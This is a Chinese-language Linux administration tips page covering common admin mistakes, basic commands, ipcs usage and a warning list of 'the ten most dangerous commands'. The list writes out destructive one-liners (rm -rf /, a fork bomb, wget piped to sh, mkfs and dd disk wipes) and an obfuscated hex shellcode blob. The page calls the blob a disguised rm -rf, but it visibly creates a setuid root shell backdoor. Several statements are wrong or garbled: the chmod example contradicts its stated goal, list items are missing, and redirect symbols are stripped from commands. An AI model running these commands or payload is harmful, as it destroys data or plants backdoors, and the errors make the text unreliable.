linux管理常見錯誤一：隨意許可，原因是不理解許可
我們提供的服務(wù)有：成都網(wǎng)站設(shè)計、成都網(wǎng)站制作、微信公眾號開發(fā)、網(wǎng)站優(yōu)化、網(wǎng)站認證、阿瓦提ssl等。為上1000+企事業(yè)單位解決了網(wǎng)站和推廣的問題。提供周到的售前咨詢和貼心的售后服務(wù)，是有科學管理、有技術(shù)的阿瓦提網(wǎng)站制作公司
如果對許可配置不當，就會給黑客留下機會。處理許可問題的最簡單方法是使用所謂的RWE方法，即Read(讀取)、Write(寫入)、Execute(執(zhí)行)。假設(shè)你想讓一個用戶能夠讀取一個文件但不能寫入文件。為此，你可以執(zhí)行：chmod
u+w,u-rx 文件名，一些新用戶可能會看到一個錯誤，說他們沒有使用文件的許可，因此他們就使用了：Chmod 777
文件名，以為這樣能夠避免問題。但這樣做實際上會導致更多的問題，因為它給了文件的可執(zhí)行的權(quán)限。
記住這一點：777將一個文件的讀取、寫入、執(zhí)行的許可給了所有用戶，666將一個文件的讀取、寫入權(quán)限給了所有用戶，而555將文件的讀取、執(zhí)行權(quán)限給了所有用戶，還有444、333、222、111等等。
linux管理常見錯誤二：忽視更新
這并不是說Linux管理員缺乏技巧。不過，許多Linux管理員在運行了Linux之后，以為日后就無事可做了，以為它安全可靠。其實，新的更新可以為一些新的漏洞打上補丁。維持更新可以在一個易受損的系統(tǒng)與一個安全的系統(tǒng)之間構(gòu)造分水嶺。Linux的安全來自于不斷地維護。為了實現(xiàn)安全性，為了使用一些新的特性和穩(wěn)定性，任何管理員都應當跟上Linux的更新步伐。
linux管理常見錯誤三：不經(jīng)過嚴格審核，從多種渠道下載安裝各種類型的應用程序
乍看起來，這也許是一個不錯的主意。如果你在運行Ubuntu,你會知道包管理程序使用的是。deb軟件包。不過，你找到的許多應用程序是以源代碼的形式提供的。沒有問題嗎?這些程序安裝后也許能夠正常工作。但是你為什么不能隨意安裝程序呢?道理很簡單，如果你以源的形式安裝了程序，那么，你的軟件包管理系統(tǒng)將無法跟蹤你所安裝的東西。
因此，在程序包A(以源的形式安裝)依賴于程序包B(從一個。deb庫安裝的)，而軟件包B是從更新管理器更新的時候，會發(fā)生什么事情呢?程序包A可能運行，也可能無法運行。不過，如果程序包A和B都從。deb庫安裝的話，二者都能運行的機會將更高。此外，在所有的程序包都來自于同樣的二進制類型時，更新程序包將更為容易。
linux管理常見錯誤四：將服務(wù)器啟動進入到X
在一臺機器是專用服務(wù)器時，你可能會想到安裝X,這樣一些管理任務(wù)就會簡單一些。不過，這并不意味著用戶需要將服務(wù)器啟動進入到X.這樣會浪費珍貴的內(nèi)存和CPU資源。相反地，你應當在級別3上停止啟動過程，進入命令行模式。這樣做不但會將所有的資源留給服務(wù)器，而且還會防止泄露機器的機密。要登錄到X,用戶只需要以命令行方式登錄，然后鍵入startx進入到桌面。
linux管理常見錯誤五：糟糕的口令
記住，root
的口令通常是linux王國的關(guān)鍵。所以為什么要讓root的口令那么容易被破解呢?保障你的用戶口令的健壯性至關(guān)重要。如果你的口令比較長，且難于記憶，可將這個口令存放在一個可被加密的位置。在需要這個口令時，可用解密軟件解開這個口令使用之。
linux管理常見錯誤六：沒有備份關(guān)鍵的配置文件
許多管理員都有這樣的體會，在升級到某個X版本，如X11之后，卻發(fā)現(xiàn)新版本破壞了你的xorg.conf配置文件，以至于你再也無法使用X?建議你在升級X之前，先對以前的/etc/x11/xorg.conf作一個備份，以免升級失敗。當然，X的升級程序會設(shè)法為用戶備份xorg.conf文件，但它卻在/etc/x11目錄內(nèi)備份。即使這種備份看起來不錯，你最好還是自己做一個備份吧。筆者的一個習慣是將其備份到/root目錄中，這樣，用戶就可以知道只有根(root)用戶能夠訪問此文件。記住，安全第一。這里的方法也適用于其它的關(guān)鍵備份，如Samba、Apache、Mysql等。
linux管理常見錯誤七：忽視日志文件
/var/log的存在是有理由的。這是存放所有的日志文件的唯一位置。在發(fā)生問題時，你首先需要看一下這里。檢查安全問題，可看一下/var/log/secure.筆者看的第一個位置是/var/log/messages.這個日志文件保存著所有的一般性錯誤。在此文件中，你可以得到關(guān)于網(wǎng)絡(luò)、媒體變更等消息。在管理一臺機器時，用戶可以使用某個第三方的應用程序，如logwatch,這樣就可以創(chuàng)建為用戶創(chuàng)建基于/var/log文件的各種報告。
linux管理常見錯誤八：沒有安裝一個可正常運行的內(nèi)核
你可能不會在一臺機器上安裝10個以上的內(nèi)核。但你需要更新內(nèi)核，這種更新并沒有刪除以前的內(nèi)核。你是怎么做的呢?你一直保持使用最近的可正常工作的內(nèi)核。假設(shè)你目前正常工作的內(nèi)核是2.6.22,而2.6.20是備份內(nèi)核。如果你更新到2.6.26,而在新內(nèi)核中一切都工作正常，你就可以刪除2.6.20了。
linux管理常見錯誤九：逃避使用命令行
恐怕很少有人愿意記住那么多命令。在大多數(shù)情況下，圖形用戶界面是許多人的最愛。不過，有時，命令行使用起來更加容易、快捷、安全、可靠。逃避使用命令行是Linux管理的大忌。管理員至少應當理解命令行是如何工作的，至少還要掌握一些重要的管理命令。
linux管理常見錯誤十：以根用戶身份登錄
這是一種很危險的錯誤。如果用戶需要根特權(quán)來執(zhí)行或配置一個應用程序，可以在一個標準的用戶賬戶中使用su切換到root用戶。登錄到root為什么不是一件好事兒?在用戶以標準用戶身份登錄時，所有正在運行的X應用程序仍擁有僅限于此用戶的訪問權(quán)。如果用戶以根用戶身份登錄，X就擁有了root的許可。這就會導致兩個問題，一、如果用戶由GUI犯了一個大錯，這個錯誤對系統(tǒng)來說，有可能是一個巨大的災難。二、以根用戶的身份運行X使得系統(tǒng)更易于遭受攻擊。
Linux系統(tǒng)中的命令實在是太多了，簡單包括兩類命令，一類是內(nèi)部命令，指的是Shell自身提供的功能，一類是外部命令，指的是第三方的控制臺應用程序。
一般來說，沒必要完全學習所有的命令，大體上有個印象，用到的時候去查一下幫助文檔，久而久之，自然熟練。
下面是網(wǎng)友整理的20個最常用的Linux命令：
1. ls命令
ls命令是列出目錄內(nèi)容(List Directory Contents)的意思。運行它就是列出文件夾里的內(nèi)容，可能是文件也可能是文件夾。
2. lsblk命令
"lsblk"就是列出塊設(shè)備。除了RAM外，以標準的樹狀輸出格式，整齊地顯示塊設(shè)備。
3. md5sum命令
“md5sum”就是計算和檢驗MD5信息簽名。md5 checksum(通常叫做哈希)使用匹配或者驗證文件的文件的完整性，因為文件可能因為傳輸錯誤，磁盤錯誤或者無惡意的干擾等原因而發(fā)生改變。
4. dd命令
“dd”命令代表了轉(zhuǎn)換和復制文件?？梢杂脕磙D(zhuǎn)換和復制文件，大多數(shù)時間是用來復制iso文件(或任何其它文件)到一個usb設(shè)備(或任何其它地方)中去，所以可以用來制作USB啟動器。
6. history命令
“history”命令就是歷史記錄。它顯示了在終端中所執(zhí)行過的所有命令的歷史。
7. sudo命令
“sudo”(super user do)命令允許授權(quán)用戶執(zhí)行超級用戶或者其它用戶的命令。通過在sudoers列表的安全策略來指定。
8. mkdir命令
“mkdir”(Make directory)命令在命名路徑下創(chuàng)建新的目錄。然而如果目錄已經(jīng)存在了，那么它就會返回一個錯誤信息"不能創(chuàng)建文件夾，文件夾已經(jīng)存在了"("cannot create folder, folder already exists")
9. touch 命令
“touch”命令代表了將文件的訪問和修改時間更新為當前時間。touch命令只會在文件不存在的時候才會創(chuàng)建它。如果文件已經(jīng)存在了，它會更新時間戳，但是并不會改變文件的內(nèi)容。
10. chmod 命令
“chmod”命令就是改變文件的模式位。chmod會根據(jù)要求的模式來改變每個所給的文件，文件夾，腳本等等的文件模式（權(quán)限）。
11. chown命令
“chown”命令就是改變文件擁有者和所在用戶組。每個文件都屬于一個用戶組和一個用戶。在你的目錄下，使用"ls -l",你就會看到像這樣的東西。
12. apt命令
Debian系列以“apt”命令為基礎(chǔ)，“apt”代表了Advanced Package Tool。APT是一個為Debian系列系統(tǒng)（Ubuntu，Kubuntu等等）開發(fā)的高級包管理器，在Gnu/Linux系統(tǒng)上，它會為包自動地，智能地搜索，安裝，升級以及解決依賴。
13. tar命令
“tar”命令是磁帶歸檔(Tape Archive)，對創(chuàng)建一些文件的的歸檔和它們的解壓很有用。
14. cal 命令
“cal”（Calender），它用來顯示當前月份或者未來或者過去任何年份中的月份。
16. cat命令
“cat”代表了連結(jié)（Concatenation），連接兩個或者更多文本文件或者以標準輸出形式打印文件的內(nèi)容。
17. cp 命令
“copy”就是復制。它會從一個地方復制一個文件到另外一個地方。
18. mv 命令
“mv”命令將一個地方的文件移動到另外一個地方去。
19. pwd 命令
“pwd”（print working directory），在終端中顯示當前工作目錄的全路徑。
20. cd 命令
最后，經(jīng)常使用的“cd”命令代表了改變目錄。它在終端中改變工作目錄來執(zhí)行，復制，移動，讀，寫等等操作。
Linux進程間通信由以下幾部分發(fā)展而來：
早期UNIX進程間通信：包括管道、FIFO、信號。
基于System V的進程間通信：包括System V消息隊列、System V信號燈（Semaphore）、System V共享內(nèi)存。
基于Socket進程間通信。
基于POSIX進程間通信：包括POSIX消息隊列、POSIX信號燈、POSIX共享內(nèi)存。
Linux中，與IPC相關(guān)的命令包括：ipcs、ipcrm（釋放IPC）、
IPCS命令是Linux下顯示進程間通信設(shè)施狀態(tài)的工具。我們知道，系統(tǒng)進行進程間通信（IPC）的時候，可用的方式包括信號量、共享內(nèi)存、消息隊列、管道、信號（signal）、套接字等形式[2]。使用IPCS可以查看共享內(nèi)存、信號量、消息隊列的狀態(tài)。
例如在CentOS6.0上執(zhí)行ipcs
具體的用法總結(jié)如下：
1、顯示所有的IPC設(shè)施
# ipcs -a
2、顯示所有的消息隊列Message Queue
# ipcs -q
3、顯示所有的信號量
# ipcs -s
4、顯示所有的共享內(nèi)存
# ipcs -m
5、顯示IPC設(shè)施的詳細信息
# ipcs -q -i id
id 對應shmid、semid、msgid等。-q對應設(shè)施的類型（隊列），查看信號量詳細情況使用-s，查看共享內(nèi)存使用-m。
6、顯示IPC設(shè)施的限制大小
# ipcs -m -l
-m對應設(shè)施類型，可選參數(shù)包括-q、-m、-s。
7、顯示IPC設(shè)施的權(quán)限關(guān)系
# ipcs -c
# ipcs -m -c
# ipcs -q -c
# ipcs -s -c
8、顯示最近訪問過IPC設(shè)施的進程ID。
# ipcs -p
# ipcs -m -p
# ipcs -q -p
9、顯示IPC設(shè)施的最后操作時間
# ipcs -t
# ipcs -q -t
# ipcs -m -t
# ipcs -s -t
10、顯示IPC設(shè)施的當前狀態(tài)
# ipcs -u
Linux上的ipcs命令，不支持UNIX上的-b、-o指令，同樣UNIX中不支持-l、-u指令，所以在編寫跨平臺的腳本時，需要注意這個問題。
Linux中最危險的10個命令
對于編程人員或或者Linux系統(tǒng)管理員來說，操作Linux系統(tǒng)最常見的方法就是使用命令行。當然，Linux命令行佷有用、很高效，但有時候也很危險，尤其是在你誤操作或者不確定你自己在正在做什么的時候。下面我就為大家盤點最危險是10個命令，一起來看看吧!
當然，以下命令通常都是在root權(quán)限下才能將愚蠢發(fā)揮到無可救藥;在普 通用戶身份下，破壞的只是自己的一畝三分地。
1. rm -rf 命令
rm -rf命令是刪除文件夾及其內(nèi)容最快的方式之一。僅僅一丁點的敲錯或無知都可能導致不可恢復的系統(tǒng)崩壞。下列是一些rm 命令的選項。
rm 命令在Linux下通常用來刪除文件。
rm -r 命令遞歸的刪除文件夾，甚至是空的文件夾。(譯注：個人認為此處應該是說錯了，從常識看，應該是“甚至是非空的文件夾”)
rm -f 命令能不經(jīng)過詢問直接刪除‘只讀文件’。(譯注：Linux下刪除文件并不在乎該文件是否是只讀的，而只是在意其父目錄是否有寫權(quán)限。所以，-f這個參數(shù) 只是表示不必一個個刪除確認，而是一律悄悄刪除。另外，原始的rm命令其實也是沒有刪除提示的，只是一般的發(fā)行版都會將rm通過別名的方式增加-i參數(shù)來 要求刪除確認，而-f則抑制了這個提示。)
rm -rf / : 強制刪除根目錄下所有東東。(就是說刪除完畢后，什么也沒有了。。。)
rm -rf *: 強制刪除當前目錄的所有文件。
rm -rf . : 強制刪除當前文件夾及其子文件夾。
從 現(xiàn)在起，當你要執(zhí)行rm -rf命令時請留心一點。我們可以在“.bashrc”文件對‘rm‘命令創(chuàng)建rm -i的別名，來預防用 ‘rm‘命令刪除文件時的事故，它會要求你確認每一個刪除請求。(譯注：大多數(shù)發(fā)行版已經(jīng)這樣做了，如果還沒有，請這樣做，并在使用-f參數(shù)前一定考慮好 你在做什么!譯者本人有著血淚的教訓啊。)
2. :(){:|:};: 命令
這就是個fork 炸彈的實例。具體操作是通過定義一個名為 ‘:‘的函數(shù)，它會調(diào)用自己兩次，一次在前臺另一次運行在后臺。它會反復的執(zhí)行下去直到系統(tǒng)崩潰。
:(){:|:};:
哦?你確認你要試試么?千萬別在公司正式的服務(wù)器上實驗啊~~
3. 命令 /dev/sda
上列命令會將某個‘命令‘的輸出寫到塊設(shè)備/dev/sda中。該操作會將在塊設(shè)備中的所有數(shù)據(jù)塊替換為命令寫入的原始數(shù)據(jù)，從而導致整個塊設(shè)備的數(shù)據(jù)丟失。
4. mv 文件夾 /dev/null
這 個命令會移動某個‘文件夾‘到/dev/null。在Linux中 /dev/null 或 null 設(shè)備是一個特殊的文件，所有寫入它的數(shù)據(jù)都會被清除，然后返回寫操作成功。(譯注：這就是黑洞啊。當然，要說明的是，通過將文件夾移動到黑洞，并不能阻止 數(shù)據(jù)恢復軟件的救贖，所以，真正的`徹底毀滅，需要采用專用的軟件或者手法來完成——我知道你肯定有些東西想刪除得干干凈凈的。)
# mv /home/user/* /dev/null
上列命令會將User目錄所有內(nèi)容移動到/dev/null，這意味著所有東西都被‘卷入’黑洞 (null)之中。
5. wget -O- | sh
上列命令會從一個(也許是)惡意源下載一個腳本并執(zhí)行。Wget命令會下載這個腳本，而sh會(無條件的)執(zhí)行下載下來的腳本。
注意: 你應該時刻注意你下載包或腳本的源。只能使用那些從可信任的源中下載腳本/程序。(譯注：所以，你真的知道你在做什么嗎?當遇到這種需要是，我的做法是，先wget下來，然后我去讀一讀其中到底寫了些什么，然后考慮是否執(zhí)行。)
6. mkfs.ext3 /dev/sda
上列命令會格式化塊設(shè)備‘sda’，你無疑知道在執(zhí)行上列命令后你的塊設(shè)備(硬盤驅(qū) 動器)會被格式化，嶄新的!沒有任何數(shù)據(jù)，直接讓你的系統(tǒng)達到不可恢復的階段。(譯注：通常不會直接使用/dev/sda這樣的設(shè)備，除非是作為raw設(shè) 備使用，一般都需要將sda分成類似sda1、sda2這樣的分區(qū)后才使用。當然，無論你使用sda還是sda1，這樣對塊設(shè)備或分區(qū)進行mkfs都是毀 滅性的，上面的數(shù)據(jù)都會被蒸發(fā)了。)
7. file
上列命令常用來清空文件內(nèi)容(譯注：通常也用于記錄命令輸出。 不過請在執(zhí)行前，確認輸出的文件是空的或者還不存在，否則原來的文件可真是恢復不了了——連數(shù)據(jù)恢復軟件都未必能幫助你了。另外，我想你可能真正想用的是 “”，即累加新的輸出到文件，而不是刷新那個文件。)。如果用上列執(zhí)行時輸入錯誤或無知的輸入類似 “xt.conf” 的命令會覆蓋配置文件或其他任何的系統(tǒng)配置文件。
8. ^foo^bar
這個命令在“鮮為人知而又實用的 Linux 命令大全：”中描述過，用來編輯先前運行的命令而無需重打整個命令。但當用foobar命令時如果你沒有徹底檢查改變原始命令的風險，這可能導致真正的麻煩。(譯注：事實上，這種小技巧是譯者認為的，少數(shù)史前時代遺留下來的無用而有害的“黑客”技巧。)
9. dd if=/dev/random of=/dev/sda
上列命令會向塊設(shè)備sda寫入隨機的垃圾文件從而擦出數(shù)據(jù)。當然!你的系統(tǒng)可能陷入混亂和不可恢復的狀態(tài)。(譯注：記得上面說過mv到黑洞并不能徹底刪除數(shù)據(jù)么?那么這個命令就是給了你一個徹底刪除的方法!當然為了保險起見，你可以覆寫多次。)
10. 隱藏命令
下面的命令其實就是上面第一個命令 (rm -rf)。這里的代碼是隱藏在十六進制里的,一個無知的用戶可能就會被愚弄。在終端里運行下面命令可能會擦除你的根分區(qū)。
這個命令表明通常真正的危險是隱藏的，不會被輕易的檢測到。你必須時刻留心你在做什么結(jié)果會怎樣。不要編譯/運行從未知來源的代碼。
char esp[] __attribute__ ((section(“.text”))) /* e.s.prelease */= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″“\x6e\x2f\x73\x68\x00\x2d\x63\x00″“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;
注意: 不要在你的或你的同學或?qū)W校的電腦里的Linux終端或Shell執(zhí)行以上的任何一個命令，因為這將導致數(shù)據(jù)丟失或者系統(tǒng)崩潰。如果你想測試它們，請在虛擬機上運行。
;
重慶分公司
重慶分公司
